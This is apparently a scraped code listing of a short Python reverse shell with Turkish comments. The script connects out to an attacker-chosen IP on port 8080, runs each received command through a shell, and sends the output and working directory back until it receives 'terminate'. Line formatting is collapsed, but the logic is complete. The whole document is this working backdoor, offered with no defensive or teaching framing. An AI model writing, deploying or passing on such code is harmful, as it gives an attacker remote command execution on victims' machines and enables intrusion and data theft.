1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket,subprocess,os
os.system("clear || cls") connected_ip = "" # Portu dinleyecek olan sistemin ip adresi. listened_port = 8080 # Hedef sistem üzerinde dinlenilecek port.
def connect(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((connected_ip,listened_port)) terminate = 'terminate'
while True: command = s.recv(1024) if len(command) > 0: if terminate.encode("utf-8") in command: s.close() break else: cmd = subprocess.Popen(command[:].decode("utf-8"),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) output_bytes = cmd.stdout.read() + cmd.stderr.read() output_str = str(output_bytes,"utf-8") s.send(str.encode(output_str + str(os.getcwd()) + '> '))
def main (): connect()
main()
|